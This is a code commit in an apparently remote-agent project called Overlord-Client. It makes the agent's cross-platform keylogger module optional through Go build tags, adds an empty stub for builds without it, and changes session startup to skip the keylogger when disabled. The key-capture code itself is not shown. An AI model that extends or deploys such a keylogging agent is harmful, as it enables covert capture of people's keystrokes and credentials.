make keylogger optional

Overlord-Client/cmd/agent/keylogger/keylogger.go

@@ -1,3 +1,6 @@
+//go:build !nokeylogger
+// +build !nokeylogger
+
 package keylogger
 
 import (

Overlord-Client/cmd/agent/keylogger/keylogger_darwin.go

@@ -1,6 +1,5 @@
-// go:build darwin
-//go:build darwin
-// +build darwin
+//go:build darwin && !nokeylogger
+// +build darwin,!nokeylogger
 
 package keylogger
 

Overlord-Client/cmd/agent/keylogger/keylogger_default.go

@@ -1,4 +1,4 @@
-//go:build !windows && !linux && !darwin
+//go:build !windows && !linux && !darwin && !nokeylogger
 
 package keylogger
 

Overlord-Client/cmd/agent/keylogger/keylogger_disabled.go

@@ -0,0 +1,24 @@
+//go:build nokeylogger
+// +build nokeylogger
+
+package keylogger
+
+import "time"
+
+type Keylogger struct{}
+
+type FileInfo struct {
+	Name string
+	Size int64
+	Date time.Time
+}
+
+func New() *Keylogger { return nil }
+
+func (k *Keylogger) Start() error              { return nil }
+func (k *Keylogger) Stop()                     {}
+func (k *Keylogger) ListFiles() ([]FileInfo, error) { return nil, nil }
+func (k *Keylogger) ReadFile(string) ([]byte, error) { return nil, nil }
+func (k *Keylogger) ClearAll() error           { return nil }
+func (k *Keylogger) DeleteFile(string) error   { return nil }
+func (k *Keylogger) FlushNow()                 {}

Overlord-Client/cmd/agent/keylogger/keylogger_linux.go

@@ -1,6 +1,5 @@
-// go:build linux
-//go:build linux
-// +build linux
+//go:build linux && !nokeylogger
+// +build linux,!nokeylogger
 
 package keylogger
 

Overlord-Client/cmd/agent/keylogger/keylogger_windows.go

@@ -1,6 +1,5 @@
-// go:build windows
-//go:build windows
-// +build windows
+//go:build windows && !nokeylogger
+// +build windows,!nokeylogger
 
 package keylogger
 

Overlord-Client/cmd/agent/session.go

@@ -626,10 +626,12 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
 	defer env.Plugins.Close()
 
 	env.Keylogger = keylogger.New()
-	if err := env.Keylogger.Start(); err != nil {
-		log.Printf("[keylogger] Failed to start: %v", err)
-	} else {
-		defer env.Keylogger.Stop()
+	if env.Keylogger != nil {
+		if err := env.Keylogger.Start(); err != nil {
+			log.Printf("[keylogger] Failed to start: %v", err)
+		} else {
+			defer env.Keylogger.Stop()
+		}
 	}
 
 	dispatcher := handlers.NewDispatcher(env)